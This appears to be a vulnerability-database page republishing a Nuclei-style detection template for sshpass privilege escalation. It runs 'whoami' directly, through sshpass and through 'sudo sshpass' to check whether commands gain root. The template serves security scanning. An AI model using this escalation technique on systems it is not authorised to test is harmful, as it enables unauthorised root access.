privesc-sshpass: sshpass - Privilege Escalation

2025-08-01 sshpass PoC Public

Description

sshpass is a command-line tool that provides a way to automatically input SSH passwords for password authentication. It is commonly used in scripts and automated processes where interactive password entry is not feasible.

Details

Severity
高危
Affected
sshpass
Published
PoC
Public

PoC

id: privesc-sshpass

info:
  name: sshpass - Privilege Escalation
  author: daffainfo
  severity: high
  description: |
    sshpass is a command-line tool that provides a way to automatically input SSH passwords for password authentication. It is commonly used in scripts and automated processes where interactive password entry is not feasible.
  reference:
    - https://gtfobins.github.io/gtfobins/sshpass/
  metadata:
    verified: true
    max-request: 3
  tags: code,linux,sshpass,privesc,local

self-contained: true
code:
  - engine:
      - sh
      - bash
    source: |
      whoami

  - engine:
      - sh
      - bash
    source: |
      sshpass whoami

  - engine:
      - sh
      - bash
    source: |
      sudo sshpass whoami

    matchers-condition: and
    matchers:
      - type: word
        part: code_1_response
        words:
          - "root"
        negative: true

      - type: dsl
        dsl:
          - 'contains(code_2_response, "root")'
          - 'contains(code_3_response, "root")'
        condition: or
# digest: 4a0a00473045022070214ce46c882446b6bc4a254cf8f85f57597cf301c7c128928396c66c04e791022100ba87532fe2e5a045ffd9b8065512bf3d585c42013e7c8f64803421662e702761:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities

微信搜一搜 biu.life